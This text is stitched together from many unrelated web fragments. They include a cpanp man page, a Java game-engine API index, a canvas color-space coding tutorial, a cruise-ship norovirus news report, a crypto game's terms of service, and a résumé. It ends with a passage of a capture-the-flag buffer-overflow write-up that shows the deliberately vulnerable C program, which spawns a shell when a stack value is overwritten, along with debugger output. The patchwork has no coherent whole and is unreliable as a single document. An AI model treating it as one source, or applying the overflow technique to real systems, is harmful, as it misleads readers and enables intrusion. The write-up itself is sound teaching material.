Valid options for most commands are "cpantest", "debug", "flush", "force", "prereqs", "storable", "verbose", "md5", "signature", and "skiptest"; the 'd' command also accepts "fetchdir". Please consult CPANPLUS::Configure for an explanation to their meanings.
Example: To download a module's tarball to the current directory,
cpanp -d --fetchdir=. MODULE ...
Index
This document was created by man2html, using the manual pages.
Time: 05:29:02 GMT, December 24, 2015


Exception
Example: class NotStartedEx extends Exception {}
class NotStartedEx extends Exception {}
A quick-fix that renames such classes is available only in the editor.


- IAction - Interface
in api
-
- IActiveComponent - Interface in api
-
Deprecated.
- IComponent -
Interface in api
-
This is the interface for all components, which hold data.
- IDataReader<T> - Interface in api
-
Class to read in serializables of type T.
- IDataWriter<T> - Interface in api
-
The class to write serializables to a file.
- IEditor - Interface
in api
-
- IEntity - Interface
in api
-
Interface for an entity.
- IEntityEditor
- Interface in api
-
- IEntitySystem
- Interface in api
-
Created by Tom on 4/24/2016.
- IEnvironmentEditor - Interface in api
-
- IEvent - Interface
in api
-
Deprecated.
- IEventEditor -
Interface in api
-
- IEventSystem -
Interface in api
-
Might be scrapped in the future! Reference:
http://stackoverflow.com/questions/937302/simple-java-message-dispatching-
system
Interface for a global event system based on this model:
https://wiki.jmonkeyengine.org/doku.php/jme3:scripting:groovy_event [Trigger:
Event(s)+Condition(s)->Result(s)]
- IGameScript -
Interface in api
-
Template for scripts executed within the game loop
- ILevel - Interface
in api
-
The interface for an Level, which holds all the entities.
- imageHeightProperty()
- Method in class model.component.visual.Sprite
-
- imagePathProperty()
- Method in class model.component.visual.Sprite
-
Get the imagePath property.
- ImagePathWriteTest
- Class in testing
-
Created by rhondusmithwick on 4/13/16.
- ImagePathWriteTest()
- Constructor for class testing.ImagePathWriteTest
-
- imageWidthProperty()
- Method in class model.component.visual.Sprite
-
- increment() - Method in class
model.component.character.Score
-
- incrementLives() - Method in
class model.component.character.Lives
-
Increase number of lives by 1.
- Indexes -
Enum in view.enums
-
- init(GroovyShell, ISystemManager)
- Method in interface api.IGameScript
-
- init(GroovyShell, ISystemManager)
- Method in interface api.ILevel
-
- init(GroovyShell, ISystemManager)
- Method in class model.entity.Level
-
- init(GroovyShell, ISystemManager)
- Method in class remote_server.BasicRMIServer
-
Deprecated.
- init(int, int) -
Method in class testing.AniPong.AniPong
-
- init(int, int) -
Method in class testing.games.ACGame
-
Create the game's scene
- init(int, int) -
Method in class testing.games.AniTest
-
Create the game's scene
- init(int, int)
- Method in class testing.games.CollisionTestGame
-
Create the game's scene
- init(ReadOnlyDoubleProperty, ReadOnlyDoubleProperty)
- Method in class view.Authoring
-
Initializes the scene which is displayed in the window.
- init() - Method
in class view.beginningmenus.StartUpMenu
-
- init() -
Method in class view.editor.gameeditor.EntityDisplay
-
- init() - Method in class
view.editor.gameeditor.EnvironmentDisplay
-
- init() -
Method in class view.editor.gameeditor.ObjectDisplay
-
- init(String) - Method in class
view.gameplaying.GamePlayer
-
- initEngine() -
Method in class testing.games.ACGame
-
- initEngine() -
Method in class testing.games.AniTest
-
- initEngine() - Method in class
testing.games.CollisionTestGame
-
- initialize(EventHandler<ActionEvent>, Property<Boolean>)
- Method in class gui.GuiObjectCheckBox
-
- initialize() -
Method in class gui.GuiObjectColorPicker
-
- initializeRadioButtons()
- Method in class gui.GuiObjectRadioButton
-
- initilaize(EventHandler<ActionEvent>)
- Method in class gui.GuiObjectButton
-
- InputSystem -
Class in events
-
Created by rhondusmithwick on 4/10/16.
- InputSystem() -
Constructor for class events.InputSystem
-
- IPhysicsEngine - Interface in api
-
Interface for the physics engine
- isEmpty() - Method in
interface api.IEntitySystem
-
Checks if any entities are in this system.
- isEmpty() - Method in interface
api.ILevel
-
Checks if any entities are in this system.
- isEmpty() - Method
in class model.entity.EntitySystem
-
- isEmpty() - Method in
class model.entity.Level
-
- isEmpty() -
Method in class remote_server.BasicRMIServer
-
Deprecated.
- ISerializable
- Interface in api
-
Interface for serializable objects.
- isInResizeZone(MouseEvent)
- Method in class view.DragAndResize
-
- isPlaying() - Method in class
model.component.audio.ThemeMusic
-
- ISystem - Interface
in api
-
Deprecated.
- ISystemManager - Interface in api
-
Created by rhondusmithwick on 3/31/16.
- ITemplateLoader<T> - Interface in api
-
Load the specs from some resource (XML, properties file etc).
- IView - Interface in
api
-


In this interactive, we will explore various digital representations of color. The theory of color is an incredibly complicated combination of physics, art, biology, and chemistry. You can learn more about how color works through the resources below:
Assignment Goals:
getImageData()
and putImageData()
to draw directly to a <canvas>
Instructions for you to follow in this document will be highlighted in blue.
ctx.fill()
. To specify a color to fill with, we set ctx.fillStyle
to a string representing a color. You can see a variety of ways of specifying color at the MDN. Note that some of the more advanced color spaces like Lab are only available in Safari.
Complete the following:
<canvas>
in it.
draw_triangles
ctx
.
ctx.beginPath, ctx.moveTo
, ctx.lineTo
, and ctx.stroke
to draw a triangle between the points:
ctx.fillStyle = "red";
ctx.fill()
to fill the triangle in red
ctx.fillStyle = "rgba(0,255,0,.5)";
This specifies a color which has no red, is maximally blue, has no green, and has a transparency (alpha) value of .5 (halfway between invisible = 0 and opaque = 1).
ctx.fillStyle
to "rgba(0,0,255,.1)"
. This is a pure blue color which is almost entirely transparent.
ctx.fillRect(150,175,200,100);
. This fills a rectangle with the current ctx.fillStyle
whose top left corner is at 150,175, and has width 200 and height 100.
By default, we specify colors with an r, g, and b value, which specifies the intensity of the red, green, and blue lights that make up the pixels on a screen. In this interactive, these values will vary from 0 to 255.
Complete the following:
draw_rgb()
which does the following:
ctx
ctx.fillStyle
to `rgb(${x},${y},0)`
. The backtick ` character creates a template literal, which is a fancy type of string that you can insert expressions to be evaluated into. The ${x}
in the string gets translated to the value of the variable x
.
Note: you can also use "rgb(" + x + "," + y + ",0)"
to create the same string. In this case the variables x and y get type coerced into strings.
ctx.fillRect(x,y,1,1)
. The 1s are the width and height of the rectangle to be filled.
Complete the following:
<input type="range" id="inp" min=0 max=500 onchange="draw_rgb()">
to your body.
draw_rgb()
function code that grabs the value of this input element and uses it as the blue value for each pixel:
var inp = Number(document.getElementById("inp").value);
onchange="draw_rgb()"
to oninput="draw_rgb()"
so it tries to redraw the image while you're moving the slider, as opposed to just when you've finished moving the slider.
Use your convert_a_to_b
function from previous assignments to rescale the x and y values to go from 0-255 instead of 0-500.
Instead of specifying a color in terms of its Red, Green, and Blue values, we can also specify it in terms of its Hue, Saturation, and Lightness.
All of the colors in the Hue color wheel above have saturation at 100% and lightness set to 50%. Notice, however, that they don't look perfectly the same brightness: the blues look darker than the yellows. A more faithful measure can be gotten by using a weighted average that more heavily weights green (to which our eyes are most sensitive) called luma, denoted with the symbol Y.
Create a new functiondraw_hsl
which is similar todraw_rgb
, but setsctx.fillStyle
for each pixel to`hsl(${x},${y}%,${k}%)`
, where:
- x has been rescaled from 0 to 360,
- y has been rescaled from 0 to 100, (note the percent symbol! s and l are specified in terms of percentages)
- k (the input from your
<input>
element) has been rescaled from 0 to 100
Create a new function draw_grayscale
that sets the r, g, and b, values all to the rescaled x value. This should produce a grayscale spectrum.
This spectrum is perceptually linear: the difference between shades 10 pixels apart appears roughly the same across the spectrum. However it is not linear in terms of physics: the midpoint gray (127.5, 127.5, 127.5) is only creating about 22% as many photons of light as the full (255, 255, 255) white at the end of the spectrum, although the exact value depends on your device.
Normally, this is what we want, but it means that any effect that averages colors will be incorrect. This includes:
Complete the following:
draw_grayscale
function so that:
ctx.fillStyle
to "black"
ctx.fillStyle
to "white"
ctx.fillStyle
to `rgb(${k},${k},${k})`
, where k is the value of your input slider
console.log
to determine the value of k.
draw_grayscale
function to indicate the number you found. This value will vary based on your monitor.
Create a new functiondraw_gradient
that usesconvert_a_to_b
to set:
- r to vary from 255 to 0 as x goes from 0 to 500
- g to vary from 0 to 255 as x goes from 0 to 500
- b to always be 0
The result should be an image that looks like:
This isn't great: the color in the middle is not a proper blur of the red and green, as we can see in the image below:
The rows of this image are:
To fix our gradient we will want to:
Complete the following:
convert_a_to_b
in your loop over each pixel to set:
r = 255*(r)**(1/2.2)
ctx.fillStyle = `rgb(${r},${g},${b})`
to set the fill style of the pixel, then fill it with ctx.fillRect(x,y,1,1);
The resulting spectrum should look more like:
Notice the yellow in the middle more closely matches a true blend of green and red, as seen in our checkerboard comparison below:
The rows of this image are:
It's tempting to want to store each pixel as a three-element array of red, green, and blue values, and then each row of an image as an array of pixels, and then the entire image as an array of rows. However, this is somewhat wasteful: each array takes up a small amount of overhead and each time we look into an array it takes a small amount of time. But remember that our 500x500 image (which is only a small part of a modern 1920x1080 screen) has 250,000 pixels. These small overheads add up.
Fortunately, we know exactly how big these arrays are, so we can flatten them into one single large array. Instead of:
[We represent our image as:
[[pixel00.r,pixel00.g,pixel00.b],[pixel01.r,pixel01.g,pixel01.b],...], //row 0
[[pixel10.r,pixel10.g,pixel10.b],[pixel11.r,pixel11.g,pixel11.b],...], //row 1
...
]
[Notice that we added a new value to each pixel (a for alpha). Since the number of numbers per pixel is now a power of 2, the math is faster and we get to store an extra piece of information, usually transparency information: how transparent a pixel is from 0 (fully transparent) to 255 (fully opaque). You can watch a Computerphile video that walks through this technique of storing an image as a single array.
pixel00.r,pixel00.g,pixel00.b,pixel00.a,pixel01.r,pixel01.g,pixel01.b,pixel01.a,..., //row 0
pixel10.r,pixel10.g,pixel10.b,pixel10.a,pixel11.r,pixel11.g,pixel11.b,pixel11.a,..., //row 1
...
]
At the very end of yourdraw_gradient
function, callconsole.log(ctx.getImageData(0,0,500,500));
. The result should look like:
ImageData {data: Uint8ClampedArray(1000000), width: 500, height: 500, colorSpace: 'srgb'}
data: Uint8ClampedArray(1000000) [0, 255, 0, 255, 15, 255, 0, 255, 21, 255, 0, 255, 25, 254, 0, 255, 28, 254, 0, 255, 31, 254, 0, 255, 34, 254, 0, 255, 37, 253, 0, 255, 39, 253, 0, 255, 41, 253, 0, 255, 43, 253, 0, 255, 45, 252, 0, 255, 47, 252, 0, 255, 49, 252, 0, 255, 50, 252, 0, 255, 52, 251, 0, 255, 53, 251, 0, 255, 55, 251, 0, 255, 56, 251, 0, 255, 58, 251, 0, 255, 59, 250, 0, 255, 60, 250, 0, 255, 62, 250, 0, 255, 63, 250, 0, 255, 64, 249, 0, 255, ...]
colorSpace: "srgb"
height: 500
width: 500
[[Prototype]]: ImageData
This .data
array is the color data array. The first 4 numbers (0,255,0,255) represent the r, g, b, and a of the top left pixel. The next 4 numbers (15,255,0,255) represent the r, g, b, and a of the next pixel over, etc. All these pixels should have alpha of 255, since none of them have any transparency yet. Before you draw to the canvas, every pixel is set to (0,0,0,0): fully transparent black.
Complete the following:
draw_rgb_fast
which:
ctx
ctx.getImageData(0,0,500,500)
and stores it in a variable id
Number(document.getElementById("r").value)
where "r" is replaced by the name of your input box.
function set_rgba(imagedata,x,y,r,g,b,a) {
var pos = y*imagedata.width+x;
imagedata.data[pos*4] = r;
imagedata.data[pos*4+1] = g;
imagedata.data[pos*4+2] = b;
imagedata.data[pos*4+3] = a;
}
ctx.putImageData(id,0,0)
.
onchange
, set it to have oninput="draw_rgb_fast()"
.
The downside of writing to our canvas this way is that we can only specify color in terms of RGB. If we want to replicate our HSL visualizer, we'll need a function for converting between HSL and RGB. Below is one such algorithm. It first computes chroma, C
, which is the difference between the maximum and minimum of R, G, and B. Luminance, L
, is the average of the maximum of R, G, and B, and the minimum of R, G, and B. Knowing these two values is enough to solve for the max and min, and then we figure out which of R, G, and B should be the max, which the min, and which should be interpolated based on the hue, H
.
function HSL_to_RGB(H,S,L) {
var R,G,B;
var C;
if (L <= .5) {
C = S*2*L;
}
else {
C = S*2*(1-L);
}
var max = L+C/2;
var min = L-C/2;
if (H < 60) {
R = max;
G = convert_a_to_b(H,0,60,min,max);
}
else if (H < 120) {
R = convert_a_to_b(H,60,120,max,min);
G = max;
}
else if (H < 180) {
R = min;
G = max;
}
else if (H < 240) {
R = min;
G = convert_a_to_b(H,180,240,max,min);
}
else if (H < 300) {
R = convert_a_to_b(H,240,300,min,max);
G = min;
}
else {
R = max;
G = min;
}
return([255*R,255*G,255*B]);
}
The image above has a plot of the R, G, and B values from 0 to 255 as a function of H. Use the code above and the chart to fill in the missing calculation of B.You can check your conversion function with some of the test values below:
HSL_to_RGB(82,0.74,0.63) = [179.26839999999999,230.469,90.831]
HSL_to_RGB(143,0.95,0.89) = [200.3025,253.5975,220.73225000000002]
HSL_to_RGB(60,0.8,0.71) = [240.20999999999998,240.20999999999998,121.88999999999999]
HSL_to_RGB(46,0.7,0.37) = [160.395,129.574,28.304999999999996]
HSL_to_RGB(224,0.2,0.12) = [24.48,27.744000000000003,36.72]
HSL_to_RGB(360,0.32,0.94) = [244.59599999999998,234.80399999999997,234.80399999999997]
HSL_to_RGB(210,0.26,0.3) = [56.60999999999999,76.5,96.39]
HSL_to_RGB(339,0.78,0.57) = [230.877,59.82299999999998,119.69189999999998]
HSL_to_RGB(58,0.3,0.91) = [238.935,238.476,225.165]
HSL_to_RGB(267,0.71,0.58) = [140.29589999999996,71.85899999999998,223.941]
HSL_to_RGB(171,0.2,0.58) = [126.47999999999999,169.32,162.89399999999998]
HSL_to_RGB(108,0.86,0.3) = [37.025999999999996,142.29000000000002,10.709999999999996]
HSL_to_RGB(345,0.14,0.85) = [222.105,211.39499999999998,214.0725]
HSL_to_RGB(126,0.34,0.63) = [128.571,192.729,134.9868]
HSL_to_RGB(191,0.46,0.08) = [11.016,26.3432,29.784]
HSL_to_RGB(223,0.72,0.69) = [119.03399999999996,151.2864,232.866]


{% extends "base.html" %} {% block content %}
Many thanks for donating to help support Codefisher.org. Thought the words I write might mean little, feel sure I would come and shake your hand to express my thanks if that was possible.


Modal Header
Health
Ownership
|
Delivery Services |
|
|---|---|
| Antenatal Services |
|
|
Both Delivery and Antenatal Services |
|
| X | Neither Delivery nor Antenatal Services |
Education
Ownership
| X | Non Formal School |
|---|---|
| Post Primary Schools |
|
|
Pre Primary Schools |
|
|
Primary Schools |
|
| Secondary Schools |
|
| Tertiary Educational Institutions |


Norwegian Joy: 'Hundreds' of people rushed off cruise ship after Norovirus outbreak
The Norwegian Joy, which was on a 16-day cruise having left Florida, docked at the Port of Los Angeles in San Pedro and several passengers have been assessed by paramedics
by Tom Davidson, https://www.mirror.co.uk/authors/tom-davidson/Hundreds of 'acutely ill' passengers were rushed off a cruise ship after a Norovirus outbreak onboard.
Some people who had been on the Norwegian Joy were evaluated by paramedics after the 16-day cruise that left Florida stopped at the Port of Los Angeles in San Pedro.
Those seeking medical attention disembarked the docked cruise ship and are being evaluated by paramedics of the Los Angeles Fire Department, reports NBC Los Angeles.
Some sick passengers are being screened separately from the rest of the disembarking passengers, according to reports on social media.
Peter Krajewski, who had been onboard, tweeted: "Just got off the Norwegian Joy in the port of Los Angeles.
Were you on board? Have you been affected by this story? Email<EMAIL_ADDRESS>"Our ship had been dealing with a Norovirus outbreak the last couple days, but none of the passengers suspected that it was as bad as it was.
"Apparently hundreds of people were acutely ill on the ship."
A statement from the Los Angeles Fire Department said: "LAFD personnel continue to examine "several persons who have been ill" while aboard the currently docked cruise ship, which is disembarking passengers.
"A yet to be determined number of those ill passengers desiring further medical assessment or ambulance transport are still being evaluated on shore by LAFD Paramedics.
"No patients are currently displaying life-threatening symptoms."
The Norwegian Joy has a guest capacity of 3,804 passengers and was refurbished earlier this year after being built in 2017.
It also has 1,821 crew, according to the Norwegian Cruise line website.
A spokeswoman for Norwegian Cruise Line told Mirror Online: “The safety, security and well-being of our guests and crew is our number one priority.
"As such, we operate at the very highest public health standards.
"During Norwegian Joy’s Panama Canal sailing, a few guests on board experienced a stomach related illness.
"To mitigate any impact of this rare occurrence, we implemented stringent sanitation procedures.
"As always, we will continue to monitor this situation.”


List the object formats available on the selected Coordinating Node using the CNCore.listFormats() method on a Coordinating Node.
Hit <Enter> or click on the green URL to invoke the call.
Environment:
Base URL:
Request:
URL:
cURL:
Server Response


{% extends "base.html" %} {% block title %}
Medieval catalogues > BENEDICTINES: THE SHORTER CATALOGUES > Faversham > Leland, c. 1536-40
{% endif %}7 identified entries found.
All data was derived from the List of Identifications by Professor Richard Sharpe.
{% if not printing %}
A key to codes used in the List is available (opens in new tab).{% endif %}


Log in
×
Login with
or
Login error
×
Login credentials cannot be empty.
Login details
×
Congrats!! You have entered correct details.
You will now be redirected
Login error
×
Incorrect username or password.
Login error
×
Invalid Email address


Joint Point Cloud and Image Based Localization For Efficient Inspection in Mixed Reality
Reference:
M. P. Das, Z. Dong, S. Scherer. Joint Point Cloud and Image Based Localization For Efficient Inspection in Mixed Reality. IEEE/RSJ International Conference on Intelligent Robots and Systems (IROS), Madrid, 2018.
PDF: https://arxiv.org/pdf/1811.02563.pdf
Code: https://bitbucket.org/castacks/jpil
Augmenting Inspection Capabilities with Mixed-Reality
We demonstrate the use of mixed-reality headset worn by an inspector on the site of inspection. Such a headset along with the software we have developed, can augment the on-site inspector's capabilities to visualize and interact with digital annotations. Thus allowing precise and clear information about the region of interest.
Demo Run: Thermal, Monocular Vision-Based Localization and Mapping of MAV at Night.
Video runs at 0.5x. This video demonstrates how the state-of-the-art monocular computer vision algorithms perform in thermal IR domain.
Reference:
S. Daftry, M. P. Das, J. Delaune, C. Sorice, R. Hewitt, S. Reddy, D. Lytle, E. Gu, L. Matthies. Robust Vision-based Autonomous Navigation, Mapping and Landing for MAVs at Night. International Symposium on Experimental Robotics (ISER), Buenos Aires, 2018.
5-DoF Monocular Visual Localization Over Grid Based Floor
Quadcopter mapping, path planning and controls for Obstacle avoidance.
Sensors: 2D Lidar, GPS, IMU
Flight controller: PX4
Path planning algorithm: RRT# using OMPL C++ (http://ompl.kavrakilab.org/)
Other libraries used: FCL (A Flexible Collision Library), Octomap, ROS.
Simulation is made in Gazebo.
VINS-Mono Visual Inertial Odometry on Optor Stereo Camera


1. You expressly understand and agree that your access and use of the application is at your sole risk and that the application is provided "as is" and "as available" without warranty of any kind, express or implied.To the fullest extent permissible under applicable law, we, our subsidiaries, affiliates and licensors make no representations and warranties and therefore do not assume any liability with regard to this application and any part thereof (including but not limited to this site, any SMART contract , Or any external website), including any implied warranties of merchantability, fitness for a particular purpose, non-infringement, correctness, accuracy or reliability.
2. You accept the inherent security risks of providing information and online transactions over the Internet and agree that we shall not be responsible for any breach of security, except as a result of our gross negligence.
3. We are not liable for any loss, damage or claim resulting from your use of Ethernet or METAMASK e - wallet, including but not limited to any loss, damage or claim arising from:
4. ETH is an intangible digital asset that can exist only through ownership records maintained in Ethereum. All smart contracts are conducted on distributed LEDGERs on the Ethereum platform. We do not have control rights ,and not also make any warranties or promises about smart contracts.
5. CryptoFootball is not responsible for any loss caused by blockade or other functions of the Ethernet or metamask electronic wallet, including but not limited to the developer or representative ( or not reported at all ) reporting and blockade of any problems to support the Ethernet, including hosting, technical node problems, or any other problems caused by financial loss.
1. You understand and agree that we will not be liable to you or any third party for any indirect, incidental, special, consequential or exemplary damages you may cause, including but not limited to any loss of profits (whether or not Direct or indirect), loss of goodwill or business reputation, data loss, purchase costs of substitute goods or services, or any other intangible loss, even if we have been advised of the possibility of such damages.
2. You agree with our design,for this terms or for infringement of liability for any and all claims arising out of any part of this application that you access or use ( or that you cannot access or use ) ,strict liability or any other legal theory, which is only limited to:
3. You acknowledge and agree that we have provided you with the apps and, in accordance with these terms, have complied with the warranty disclaimers and liability limitations set forth herein, reflecting a reasonable and equitable configuration of risk between the parties and forming a necessary condition as basis of the transaction between the United States. We can't provide you with applications without these restrictions.
4. Certain jurisdictions do not allow exclusion or limitation of incidental or corresponding damages, and some jurisdictions also limit disclaimers or limit liability for personal injury to consumer goods, so the above limits may not apply to personal injury claims.
You accept and recognize the following:
You agree to exempt CryptoFootball and its subsidiaries, affiliates, officers, agents, employees, advertisers, licensors, suppliers or partners from any type or nature of claims, liabilities, losses, damages (Actual and resultant):
Apps may contain hyperlinks to other websites or resources (collectively "External Sites") only for the convenience of users. We have no control over any external website. You acknowledge and agree that we are not responsible for the availability of any external websites and we do not endorse any ads, products or other materials provided on any external website. In addition, you acknowledge and agree that we do not accept any loss or damage as a result of the availability or inability to use the external website, or because of your reliance on completeness, accuracy or existence of any advertisement, product or other on any external website material.
After the alteration of these Terms of Service is formally implemented, your access to, link, or use of this website, or the use of any of the services on this website, will all represent your acceptance of the amended Terms of Service.
We may amend the Terms from time to time. When we make changes, we will provide the updated terms on the application and update the "latest updated" date at the beginning of the terms correspondingly. Please check regularly for changes to these terms. Any changes to these Terms will take effect on the date they become effective, and your continued access or use of this application after the terms are updated will constitute your binding acceptance of this update. If you do not agree to the revised terms, you may not access or use the application.


Tutor and assist students master assignments and reinforce concepts presented in class by continually expanding creative and effective teaching methods
Demonstrated heightened troubleshooting techniques and IT principles by administering to the technical needs of students which resulted in fewer interruptions to student learning in the classroom
Developed teaching skills in a variety of Information Systems subjects such as VBA programming, HTML/CSS, SQL and Tableau
Assisted in the contacting and recruitment for Utah Valley Hospital and all regional hospitals resulting in the hiring of over 100 applicants
Surveyed previous employees who had terminated employment within the last year in effort to reduce first year turnover rates and thus reduce training expenses
Collaborated as a Human Recourse team to develop more efficient hiring methods by establishing adaptive tools for reference checks
Proactively implemented and formed new cash deposit methods for increased security and enhanced internal controls in a small business setting
Handled all deposits and data analysis for the museum store to accurately project and account for museum income which provided management with improved data for decision making
Effectively increased productivity by developing strong team unity and encouraging team members to achieve high goals
Increased representative effectiveness by providing training in individual communication, problem solving, and working strategy skills to large groups of representatives
Skills and Achievements
Experienced in multiple programming languages including Java, VBA, and C#
Proficient in the Spanish language
Member of Yhack, the BYU Computer Science ethical hacking club


Information About Your Account
Your Open ID is: {{ user.open_id }}
We know you by the email: {{ user.email }}
If you want to be completely removed from Frano, click Remove Me
Your Open ID is: {{ user.open_id }}
We know you by the email: {{ user.email }}
If you want to be completely removed from Frano, click Remove Me


|
Launch Delphi-example
This second bios example shows how to use the BoldComServerObjectHandle and
BoldComClientObjectHandle components to implement service objects.
NOTE! To run this example, you must register the type library
AccountServer.tlb located in the bios2\Server catalog.
Register the type library
This is how you register the type library:
"c:\program files\Borland\DelphiX\bin\tregsvr.exe" AccountServer.tlb
COM Client Handles
The following are the com client handles located in the datamodule
Client\dmSystem:
| Component/ Property |
Description |
| BoldComConnectionHandle1 |
The client side gateway that handles all communication with the server |
| ServerCLSID |
Matches the CLSID of the server CoClass used for connection (i.e. equals to the value of BoldComServerHandle.Classes[0].CLSID) |
| BoldSystemHandleCom1 |
Imports the BoldSystem exported by the AccountServer |
| ConnectionHandle=BoldComConnectionHandle1 |
The gateway used when talking to the server. |
| ObjectName = ' System' |
The name under which the BoldSystem in the AccountServer was exported. |
| ClientObjectHandle |
Imports the service object exported by the AccountServer. |
| ConnectionHandle=BoldComConnectionHandle1 |
The gateway used when talking to the server. |
| ObjectName = 'AccountValidator' |
The name under which the service object was exported |
The client application illustrates the use of two different approaches for validating an account
number. Using domain objects (via the exported BoldSystem) and using service objects (via the exported
TAccountValidator COM object, which we especially created for account validation).
- In the first approach we use a simple BoldListHandleCOM (blhcAccounts) to fetch all the Account objects
into the client and check if the entered account number is found in that list.
- In the second we just get a reference to an IAccountValidator interface using the exported
service object TAccountValidator and call the ValidateAccount method passing as parameter the
account number to be validated. No objects are fetched from the server, all the processing is
done on the server and only the result is returned to the client.
Using the services of TAccountValidator
To get a reference to an IAccountValidator interface:
- Get a reference to the IUnknown interface of the TAccountValidator object using the
ClientObjectHandle that imports it:
obj := DM.ClientObjectHandle.ComObject ;
- Query the returned IUnknown for an IAccountValidator interface:
obj.QueryInterface(IID_IAccountValidator, ValidatorService);
- Once we have a reference to an IAccountValidator, we can call the ValidateAccount method passing
it the account number we wish to validate:
ValidatorService.Validate(anAccountNumber, Valid);
The out parameter Valid will return a Boolean value indicating whether the account number was
valid or not.
|


Barter exchanges have a perennial issue of having too much credit floating in the network at any given time. This is due to two factors, 1) lack of double coincidence of wants 2) overwhelming amount of soft good vendors ( services ) compared to amount of hard good vendors. (Products/things). The 2nd exacerbates the first. Mining will provide a hard good into the barter exchange economy , and the icing on top is that hard Good is comparatively liquid. Eventually the farm will resell miners, lease hosting as well. FinCEN also has given the green light on selling mined coins as not being money transmission. The overarching idea with the barter exchange is to create a credit network in the Komodo ecosystem giving it a stablecoin. The big holdup is B2C interaction, my original idea was to use something like the burn protocol to issue trade credit vouchers but I have some concerns with that as I stated in KBS channel.


The global scope this is not always the same as the global object.
this
See also http://wiki.whatwg.org/wiki/Web_ECMAScript#Global_scope


Navbar
About
Portfolio
Contact
Resume
Contact
Contact me today with any questions.
Your name
Your email
Subject
Your message
Send
Sanford, FL 32771, USA
Amandaln4311@gmail.com


ZIP: 311 Title: Sapling Payment Disclosure Owners: Deirdre Connolly<EMAIL_ADDRESS>Status: Reserved Category: Standards / RPC / Wallet Discussions-To: <https://github.com/zcash/zips/issues/387>


|
Instruction-Level Abstraction (ILA)
|
Node for instruction-transition node, each node represent an instruction. More...
#include <transition.h>
Public Types | |
| typedef std::shared_ptr< InstrTranNode > | ItNodePtr |
| Pointer type for ITNode. | |
Public Member Functions | |
| InstrTranNode (const InstrPtr instr) | |
| Default constructor. | |
| ~InstrTranNode () | |
| Default destructir. | |
| const InstrPtr | instr () const |
| Return the represented instruction. | |
| size_t | next_num () const |
| Return the number of out-going node. | |
| size_t | prev_num () const |
| Return the number of in-comming node. | |
| const ItNodePtr | next (const size_t &i) const |
| Access the i-th out-going node. | |
| const ItNodePtr | prev (const size_t &i) const |
| Access the i-th in-comming node. | |
| void | AddNext (const ItNodePtr next) |
| Update the set of out-going node. | |
| void | AddPrev (const ItNodePtr prev) |
| Update the set of in-comming node. | |
Node for instruction-transition node, each node represent an instruction.


ELIXIR biovalidator
ElIXIR biovalidator is an extended JSON Schema validator supporting use cases related to life sciences. The biovalidator is based on popular JavaScript library AJV.
ElIXIR biovalidator is an extended JSON Schema validator supporting use cases related to life sciences. The biovalidator is based on popular JavaScript library AJV.


An origin represents the organization creating the package. Every package is associated to an origin.
You will be able to invite members and upload keys after creating your origin.


Pwnable.kr’s third challenge goes like this:
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 900
Let us first download bof.c file from the given link and compile it under x86 architecture:
gcc -m32 bof.c -o bof
This is the first time we meet the beautiful beast called buffer overflow (mistery emphasis sound). Although very simple in this case, there are some gotchas that will really pull your leg in case you want to fully understand what is going on. Like those missing pieces in a puzzle that are in fact little secrets nobody actually tells you :)
In case you are surprised, I am talking about compiler optimizations. Keep this in mind: the code you write is not the code the machine runs.  The main point so far is you should not try to predict your compiled code but instead you should debug it and believe only what you see there.
Enough of this senseless introduction.
The stack
The internet is full of silly tutorials and blog posts about the stack and how buffer overflows work. In case you need some references, go for the classical Smashing the Stack for fun and Profit and the amazing Journey to the Stack. I will consider you now understand the basics about this stuff.
First let us take a look at bof.c:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char\* argv[]){
func(0xdeadbeef);
return 0;
}
My idea here is to solve this chall while showing step by step how the stack would look like. When main() calls func(), here is what we should have:
main | 0xdeadbeef | RET VAL | SAVED EBP | overflowme
What we want to do is send a big input such that gets() will read more than our buffer size (32 bytes) into the stack. C is a powerfull language, it allows you to do pretty much everything with the memory, for better or worse. If we send more than 32 bytes to our program it will not simply crash. It will instead overflow other positions in the stack, altering its values! If we do things right we might even get to key value in the stack and put 0xcaffebabe in there.
Now, how many bytes exactly would we need to send? Let’s say we will send AAA…A\xbe\xba\xfe\xca. How many padding A’s do we need? Looking at our stack diagram you might say “Dã, 32+4+4 = 40”. So we would need to send 40 A’s and then append our new key value (notice the little endian notation), right? Sadly no.
Remember when I said you should not try to predict your compiled code? Here is an example why. The stack does not behave like that in practice due to compiler optimizations. I might write a post about it some other time but for now you might want to check this SO answer and this cool paper(https://wr.informatik.uni-hamburg.de/_media/teaching/wintersemester_2013_2014/epc-14-haase-svenhendrik-alignmentinc-paper.pdf). Instead, here is how it actually looks like:
main | 0xdeadbeef | RET VAL | SAVED EBP | 0x00000003 | 0x00000001 | 0x67368200
Debugging
You might be asking how the heck do I know it? All the answers rely on GDB. Plus, you should also be using PEDA from now on for everything related to RE, PWNing, exploits and other creatures alike.
Don’t panic! Skimm through this bunch of letters and get only what really matters. Our goal here is to overflow the variable (surprise!) overflowme so that we can control the value of key. First thing we need is to add a breakpoint just before we call gets():
gdb-peda$ break \*0x08048523
Breakpoint 1 at 0x8048523
gdb-peda$ run
Starting program: /tmp/bof
[----------------------------------registers-----------------------------------]
EAX: 0xffffcedc --> 0xcd57
EBX: 0x0
ECX: 0x804b016 --> 0x0
EDX: 0xf7fa9870 --> 0x0
ESI: 0xf7fa8000 --> 0x1b1db0
EDI: 0xf7fa8000 --> 0x1b1db0
EBP: 0xffffcf08 --> 0xffffcf28 --> 0x0
ESP: 0xffffcec0 --> 0xffffcedc --> 0xcd57
EIP: 0x8048523 (<func+40>: call 0x80483a0 <gets@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804851c <func+33>: sub esp,0xc
0x804851f <func+36>: lea eax,[ebp-0x2c]
0x8048522 <func+39>: push eax
=> 0x8048523 <func+40>: call 0x80483a0 <gets@plt>
0x8048528 <func+45>: add esp,0x10
0x804852b <func+48>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x8048532 <func+55>: jne 0x8048546 <func+75>
0x8048534 <func+57>: sub esp,0xc
Guessed arguments:
arg[0]: 0xffffcedc --> 0xcd57
